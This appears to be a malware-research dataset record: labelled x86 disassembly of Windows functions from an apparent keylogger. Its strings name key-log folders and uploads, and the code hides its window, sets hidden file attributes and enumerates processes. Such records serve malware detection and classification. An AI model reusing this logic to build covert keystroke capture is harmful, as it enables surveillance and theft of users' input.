joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f40
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
mov ecx, str.EHNULL
mov eax, 0x423d40
lea ebx, [ebx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401f76
test dx, dx
je 0x401f72
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401f76
add eax, 4
add ecx, 4
test dx, dx
jne 0x401f50
xor eax, eax
jmp 0x401f7b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401f97
push str.EHNULL
push 0x400
push 0x425d40
call fcn.0040790f
add esp, 0xc
ret
push esi
push 0x423d40
push 0x400
push 0x425d40
call fcn.0040790f
push str.WinRm
push 0x400
push 0x425d40
call fcn.004086dd
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x18
push 0x425d40
call esi
cmp eax, 0xffffffff
je 0x401fd9
test al, 0x10
jne 0x402019
push 0
push 0x425d40
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x402003
push str.EHNULL
push 0x400
push 0x425d40
call fcn.0040790f
add esp, 0xc
pop esi
ret
push 0x425d40
call esi
or eax, 2
push eax
push 0x425d40
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
pop esi
ret

Function at 0x402280
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x808
mov eax, dword [0x421494]
xor eax, esp
mov dword [esp + 0x804], eax
mov ecx, str.EHNULL
mov eax, 0x424d40
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4022ca
test dx, dx
je 0x4022c6
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4022ca
add eax, 4
add ecx, 4
test dx, dx
jne 0x4022a4
xor eax, eax
jmp 0x4022cf
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4022fc
push str.EHNULL
push 0x400
push 0x423540
call fcn.0040790f
add esp, 0xc
mov ecx, dword [esp + 0x804]
xor ecx, esp
call fcn.00407900
mov esp, ebp
pop ebp
ret
lea eax, [esp]
push eax
call fcn.00402020
push 0x424d40
push 0x400
push 0x423540
call fcn.0040790f
add esp, 0xc
lea ecx, [esp]
push ecx
push 0x400
push 0x423540
call fcn.004086dd
add esp, 0xc
call fcn.00401790
test al, al
je 0x402346
push 0x423540
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [esp + 0x804]
xor ecx, esp
call fcn.00407900
mov esp, ebp
pop ebp
ret
Function at 0x404020
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x418e78
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x421494]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x4041b1
cmp byte [ebx + 0x49], 0
je 0x4041b1
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x4041a5
lea esi, [ebp - 0x2c]
call fcn.00403ab0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x404093
lea edx, [ebp - 0x2c]
mov eax, edx
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
mov edi, dword [ebp - 0x1c]
add edi, edx
push edi
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x4040cc
dec eax
je 0x4040d0
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x4041ac
call fcn.00402680
xor al, al
jmp 0x4041b3
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4040e0
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40410d
cmp edi, 0x10
jae 0x4040ef
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00408ed4
add esp, 0x10
cmp esi, eax
jne 0x40419d
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x4041a9
test esi, esi
jne 0x404087
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x4041ce
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x4041ce
cmp edi, esi
jae 0x404186
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00404820
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x404087
mov ecx, eax
cmp edi, 0x10
jae 0x404162
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40417d
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x404081
test esi, esi
jne 0x404158
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x404195
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x404081
lea ecx, [ebp - 0x2c]
call fcn.00402680
xor al, al
jmp 0x4041b3
lea ecx, [ebp - 0x2c]
call fcn.00402680
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00407900
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.00407683
int3
Function at 0x4044f0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x418e1b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x421494]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040773e
push 4
mov dword [ebp - 4], 0
call fcn.00407f61
mov edi, eax
add esp, 4
test edi, edi
je 0x40456c
call fcn.00407032
mov dword [edi], eax
call fcn.00406df1
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00406d26
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x404562
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00406d4e
jmp 0x40456e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404fa0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc28
mov eax, dword [0x421494]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
push 0
lea eax, [ebp - 0xc0c]
push eax
mov edi, ecx
push 4
lea ecx, [ebp - 0xc10]
push ecx
push esi
mov dword [ebp - 0xc0c], 0
call ebx
test eax, eax
jne 0x404ff2
xor al, al
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407900
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0xc0c], 4
jne 0x404fe0
mov eax, dword [ebp - 0xc10]
push 0
lea edx, [ebp - 0xc0c]
push edx
push eax
mov dword [ebp - 0xc14], eax
lea eax, [ebp - 0x408]
push eax
push esi
call ebx
test eax, eax
je 0x404fe0
mov ecx, dword [ebp - 0xc14]
cmp ecx, dword [ebp - 0xc0c]
jne 0x404fe0
mov edx, dword [ebp - 0xc10]
lea eax, [ebp - 0x408]
mov byte [ebp + edx - 0x408], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405044
sub eax, edx
inc eax
push eax
lea eax, [ebp - 0x408]
push eax
push 0x400
lea ecx, [ebp - 0xc08]
push ecx
lea edx, [ebp - 0xc24]
push edx
call fcn.0040971e
lea eax, [ebp - 0xc08]
push eax
push 0x400
push edi
call fcn.0040790f
add esp, 0x20
push 0
lea ecx, [ebp - 0xc0c]
push ecx
push 8
lea edx, [ebp - 0xc20]
push edx
push esi
call ebx
test eax, eax
je 0x404fe0
cmp dword [ebp - 0xc0c], 8
jne 0x404fe0
mov eax, dword [ebp - 0xc20]
mov ecx, dword [ebp - 0xc1c]
push 0
lea edx, [ebp - 0xc0c]
push edx
mov dword [edi + 0x800], eax
mov dword [edi + 0x804], ecx
push 1
add edi, 0x808
push edi
push esi
call ebx
test eax, eax
je 0x404fe0
cmp dword [ebp - 0xc0c], 1
mov ecx, dword [ebp - 4]
sete al
pop edi
xor ecx, ebp
pop ebx
call fcn.00407900
mov esp, ebp
pop ebp
ret
Function at 0x405100
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x421494]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
mov esi, edx
mov eax, ebx
push edi
mov dword [ebp - 0x410], esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405125
sub eax, edx
sar eax, 1
inc eax
push eax
push ebx
push 0x400
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x424]
push ecx
call fcn.004086bd
lea eax, [ebp - 0x408]
add esp, 0x14
lea edx, [eax + 1]
jmp 0x405160
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405160
sub eax, edx
push 0
lea edx, [ebp - 0x40c]
push edx
mov dword [ebp - 0x414], eax
push 4
lea eax, [ebp - 0x414]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x40c], 0
call esi
test eax, eax
jne 0x4051ab
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407900
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x40c], 4
jne 0x405198
lea eax, [ebp - 0x408]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4051c0
push 0
sub eax, edx
lea ecx, [ebp - 0x40c]
push ecx
mov edi, eax
mov eax, dword [ebp - 0x410]
push edi
lea edx, [ebp - 0x408]
push edx
push eax
mov dword [ebp - 0x40c], 0
call esi
test eax, eax
je 0x405198
cmp edi, dword [ebp - 0x40c]
jne 0x405198
mov edx, dword [ebx + 0x804]
xor edi, edi
xor ecx, ecx
add ecx, dword [ebx + 0x800]
push edi
adc edx, edi
mov dword [ebp - 0x420], ecx
lea ecx, [ebp - 0x40c]
push ecx
mov dword [ebp - 0x41c], edx
push 8
lea edx, [ebp - 0x420]
mov dword [ebp - 0x40c], edi
mov edi, dword [ebp - 0x410]
push edx
push edi
call esi
test eax, eax
je 0x405198
cmp dword [ebp - 0x40c], 8
jne 0x405198
push 0
lea eax, [ebp - 0x40c]
push eax
push 1
add ebx, 0x808
push ebx
push edi
mov dword [ebp - 0x40c], 0
call esi
test eax, eax
je 0x405198
cmp dword [ebp - 0x40c], 1
mov ecx, dword [ebp - 4]
pop edi
sete al
pop esi
xor ecx, ebp
pop ebx
call fcn.00407900
mov esp, ebp
pop ebp
ret
Function at 0x405520
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x418f86
mov eax, dword fs:[0]
push eax
mov eax, 0x184c
call fcn.00415a90
mov eax, dword [0x421494]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x400
lea eax, [ebp - 0x810]
xor esi, esi
push eax
push esi
mov dword [ebp - 0x184c], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ecx, ecx
lea eax, [ebp - 0x810]
mov dword [ebp - 0x1818], 7
mov dword [ebp - 0x181c], esi
mov word [ebp - 0x182c], cx
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x405590
sub eax, edx
sar eax, 1
push eax
lea eax, [ebp - 0x810]
lea ecx, [ebp - 0x182c]
call fcn.00404620
mov ebx, 1
lea edi, [ebp - 0x182c]
mov dword [ebp - 4], esi
call fcn.00403d00
lea ecx, [eax + 1]
lea eax, [ebp - 0x1848]
mov edx, edi
call fcn.00402c50
mov edi, eax
lea esi, [ebp - 0x182c]
mov byte [ebp - 4], bl
call fcn.00403be0
mov esi, 8
mov byte [ebp - 4], 0
cmp dword [ebp - 0x1834], esi
jb 0x405604
mov edx, dword [ebp - 0x1848]
push edx
call fcn.00407ae8
add esp, 4
mov eax, dword [ebp - 0x182c]
cmp dword [ebp - 0x1818], esi
jae 0x405618
lea eax, [ebp - 0x182c]
push eax
lea eax, [ebp - 0x810]
push 0x400
push eax
call fcn.0040790f
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
lea ecx, [ebp - 0x1854]
push ecx
lea edx, [ebp - 0x1810]
push edx
mov dword [ebp - 0x1858], eax
mov dword [ebp - 0x1854], 0x400
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
push 0x22c
mov dword [ebp - 0x1850], ebx
call fcn.00407f61
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x405715
lea eax, [ebp - 0x810]
push eax
lea eax, [esi + 0x24]
push eax
call fcn.00408a80
add esp, 8
test eax, eax
jne 0x405709
mov ecx, dword [esi + 8]
push ecx
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x405709
push edi
lea ecx, [ebp - 0x1010]
call fcn.00405360
add esp, 4
push edi
mov bl, al
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x405703
lea edx, [ebp - 0x1810]
push edx
lea eax, [ebp - 0x1010]
push eax
call fcn.00408a80
add esp, 8
test eax, eax
jne 0x405703
mov ecx, dword [ebp - 0x1858]
cmp dword [esi + 8], ecx
jne 0x405761
mov ebx, dword [ebp - 0x1850]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x405695
mov edi, dword [ebp - 0x184c]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.00407ae8
add esp, 4
cmp dword [ebp - 0x1818], 8
jb 0x405743
mov edx, dword [ebp - 0x182c]
push edx
call fcn.00407ae8
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00407900
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x1850]
mov edi, 1
jmp 0x40571b
Function at 0x405910
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2a6c
call fcn.00415a90
mov eax, dword [0x421494]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edx, str.ENTERING________________________________________________________________________EHUploadKeyLogFiles
mov esi, 0x423540
call fcn.004018a0
push 0x425540
lea eax, [ebp - 0x1808]
push 0x400
push eax
call fcn.0040790f
add esp, 0xc
mov ecx, str.EHNULL
lea eax, [ebp - 0x1808]
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x405986
test dx, dx
je 0x405982
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x405986
add eax, 4
add ecx, 4
test dx, dx
jne 0x405960
xor eax, eax
jmp 0x40598b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4059a3
mov edx, str.ERROR___________________strKeyLoggerFolder_is_NULL
mov esi, 0x423540
call fcn.004018a0
jmp 0x405b3a
lea ecx, [ebp - 0x1808]
push ecx
lea edx, [ebp - 0x1008]
push 0x400
push edx
call fcn.0040790f
add esp, 0xc
push 0x41dd38
lea eax, [ebp - 0x1008]
push 0x400
push eax
call fcn.004086dd
add esp, 0xc
lea ecx, [ebp - 0x2a68]
push ecx
lea edx, [ebp - 0x1008]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x405a3b
push str.ERROR__________________________INVALID_HANDLE_VALUE__hFind____
lea eax, [ebp - 0x808]
push 0x400
push eax
call fcn.0040790f
add esp, 0xc
lea ecx, [ebp - 0x1008]
push ecx
lea edx, [ebp - 0x808]
push 0x400
push edx
call fcn.004086dd
add esp, 0xc
lea edx, [ebp - 0x808]
mov esi, 0x423540
call fcn.004018a0
jmp 0x405b3a
lea eax, [ebp - 0x1808]
push eax
lea ecx, [ebp - 0x808]
push 0x400
push ecx
call fcn.0040790f
add esp, 0xc
push 0x41d124
lea edx, [ebp - 0x808]
push 0x400
push edx
call fcn.004086dd
add esp, 0xc
lea eax, [ebp - 0x2a3c]
push eax
lea ecx, [ebp - 0x808]
push 0x400
push ecx
call fcn.004086dd
add esp, 0xc
test byte [ebp - 0x2a68], 0x10
jne 0x405b03
mov esi, dword [ebp - 0x2a54]
mov edi, dword [ebp - 0x2a50]
lea edx, [ebp - 0x808]
push edx
lea eax, [ebp - 0x2818]
push 0x400
push eax
call fcn.0040790f
add esp, 0xc
lea ecx, [ebp - 0x2818]
mov dword [ebp - 0x2018], esi
push ecx
lea esi, [ebp - 0x2008]
mov dword [ebp - 0x2014], edi
mov byte [ebp - 0x2010], 0
call fcn.00405290
mov edx, esi
push edx
lea eax, [ebp - 0x808]
push eax
call dword [0x423398]
add esp, 8
test al, al
je 0x405b03
lea ecx, [ebp - 0x808]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0x2a68]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405a3b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x405b33
mov edx, str.ERROR___________________________dwError___ERROR_NO_MORE_FILES_
mov esi, 0x423540
call fcn.004018a0
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, str.LEAVING________________________________________________________________________EHUploadKeyLogFiles
mov esi, 0x423540
call fcn.004018a0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407900
mov esp, ebp
pop ebp
ret
Function at 0x405b60
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2a6c
call fcn.00415a90
mov eax, dword [0x421494]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edx, str.ENTERING________________________________________________________________________EHUploadKeyLogFiles
mov esi, 0x423540
call fcn.004018a0
push 0x425d40
lea eax, [ebp - 0x1808]
push 0x400
push eax
call fcn.0040790f
add esp, 0xc
mov ecx, str.EHNULL
lea eax, [ebp - 0x1808]
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x405bd6
test dx, dx
je 0x405bd2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x405bd6
add eax, 4
add ecx, 4
test dx, dx
jne 0x405bb0
xor eax, eax
jmp 0x405bdb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x405bf3
mov edx, str.ERROR___________________strKeyLoggerFolder_is_NULL
mov esi, 0x423540
call fcn.004018a0
jmp 0x405d8a
lea ecx, [ebp - 0x1808]
push ecx
lea edx, [ebp - 0x1008]
push 0x400
push edx
call fcn.0040790f
add esp, 0xc
push 0x41dd38
lea eax, [ebp - 0x1008]
push 0x400
push eax
call fcn.004086dd
add esp, 0xc
lea ecx, [ebp - 0x2a68]
push ecx
lea edx, [ebp - 0x1008]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x405c8b
push str.ERROR__________________________INVALID_HANDLE_VALUE__hFind____
lea eax, [ebp - 0x808]
push 0x400
push eax
call fcn.0040790f
add esp, 0xc
lea ecx, [ebp - 0x1008]
push ecx
lea edx, [ebp - 0x808]
push 0x400
push edx
call fcn.004086dd
add esp, 0xc
lea edx, [ebp - 0x808]
mov esi, 0x423540
call fcn.004018a0
jmp 0x405d8a
lea eax, [ebp - 0x1808]
push eax
lea ecx, [ebp - 0x808]
push 0x400
push ecx
call fcn.0040790f
add esp, 0xc
push 0x41d124
lea edx, [ebp - 0x808]
push 0x400
push edx
call fcn.004086dd
add esp, 0xc
lea eax, [ebp - 0x2a3c]
push eax
lea ecx, [ebp - 0x808]
push 0x400
push ecx
call fcn.004086dd
add esp, 0xc
test byte [ebp - 0x2a68], 0x10
jne 0x405d53
mov esi, dword [ebp - 0x2a54]
mov edi, dword [ebp - 0x2a50]
lea edx, [ebp - 0x808]
push edx
lea eax, [ebp - 0x2818]
push 0x400
push eax
call fcn.0040790f
add esp, 0xc
lea ecx, [ebp - 0x2818]
mov dword [ebp - 0x2018], esi
push ecx
lea esi, [ebp - 0x2008]
mov dword [ebp - 0x2014], edi
mov byte [ebp - 0x2010], 0
call fcn.00405290
mov edx, esi
push edx
lea eax, [ebp - 0x808]
push eax
call dword [0x423398]
add esp, 8
test al, al
je 0x405d53
lea ecx, [ebp - 0x808]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0x2a68]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405c8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x405d83
mov edx, str.ERROR___________________________dwError___ERROR_NO_MORE_FILES_
mov esi, 0x423540
call fcn.004018a0
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, str.LEAVING________________________________________________________________________EHUploadKeyLogFiles
mov esi, 0x423540
call fcn.004018a0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407900
mov esp, ebp
pop ebp
ret
Function at 0x4060e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4c10
call fcn.00415a90
mov eax, dword [0x421494]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x42654c], 0
push ebx
push esi
jne 0x406302
push str.EHNULL
push 0x424540
call fcn.00408a80
add esp, 8
test eax, eax
je 0x406169
push 0x424540
lea eax, [ebp - 0x808]
push 0x400
push eax
call fcn.0040790f
add esp, 0xc
push str.winlt.ltup
lea ecx, [ebp - 0x808]
push 0x400
push ecx
call fcn.004086dd
add esp, 0xc
lea edx, [ebp - 0x808]
push edx
lea eax, [ebp - 0x1808]
push 0x400
push eax
call fcn.0040790f
add esp, 0xc
lea ecx, [ebp - 0x1808]
push ecx
lea edx, [ebp - 0x1008]
push 0x400
push edx
call fcn.0040790f
add esp, 0xc
push str..tmpUp
lea eax, [ebp - 0x1008]
push 0x400
push eax
call fcn.004086dd
add esp, 0xc
push 0
push 0x80
push 4
push 0
push 0
push 4
lea ecx, [ebp - 0x1008]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40621e
push str.ERROR______________hFile__INVALID_HANDLE_VALUE___FileName__
lea edx, [ebp - 0x808]
push 0x400
push edx
call fcn.0040790f
add esp, 0xc
lea eax, [ebp - 0x1008]
push eax
lea ecx, [ebp - 0x808]
push 0x400
push ecx
call fcn.004086dd
add esp, 0xc
lea edx, [ebp - 0x808]
mov esi, 0x423540
call fcn.004018a0
mov edx, str.LEAVING_________________________________________SaveFileToListerExeTxt
call fcn.004018a0
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407900
mov esp, ebp
pop ebp
ret
inc dword [0x426554]
push edi
lea edx, [ebp - 0x2808]
push 0x400
push edx
call fcn.0040790f
add esp, 0xc
push edi
lea esi, [ebp - 0x2008]
call fcn.00405290
cmp byte [edi + 0x808], 0
mov eax, str.TRUE
jne 0x406258
mov eax, str.FALSE
mov edx, dword [0x426554]
push eax
lea eax, [ebp - 0x2008]
push eax
lea ecx, [ebp - 0x2808]
push ecx
push edx
push str._d___s__s__s_r_n
lea eax, [ebp - 0x4008]
push 0xc00
push eax
call fcn.00408baa
lea eax, [ebp - 0x4008]
add esp, 0x1c
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406290
sub eax, edx
sar eax, 1
inc eax
push eax
lea ecx, [ebp - 0x4008]
push ecx
push 0xc00
lea edx, [ebp - 0x4c08]
push edx
lea eax, [ebp - 0x4c10]
push eax
call fcn.004086bd
lea eax, [ebp - 0x4c08]
add esp, 0x14
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4062d0
push 0
lea ecx, [ebp - 0x4c0c]
push ecx
sub eax, edx
push eax
lea edx, [ebp - 0x4c08]
push edx
push ebx
mov dword [ebp - 0x4c0c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00407900
mov esp, ebp
pop ebp
ret
Function at 0x406a30
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x423470
push 0x67
push esi
call edi
push 0x64
push 0x4233a8
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00406af0
push 0
push esi
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x423470
push 0x4233a8
push 0
mov dword [0x423538], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
je 0x406acd
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
call fcn.00405520
test eax, eax
je 0x406ad7
mov edx, str.ERROR______________________________App_Already_Running
mov esi, 0x423540
call fcn.004018a0
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ecx]
call fcn.00406640
push 0xea60
call esi
jmp 0x406ae0

Function at 0x407900
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x421494]
jne 0x40790a
repz ret
jmp fcn.0040c77d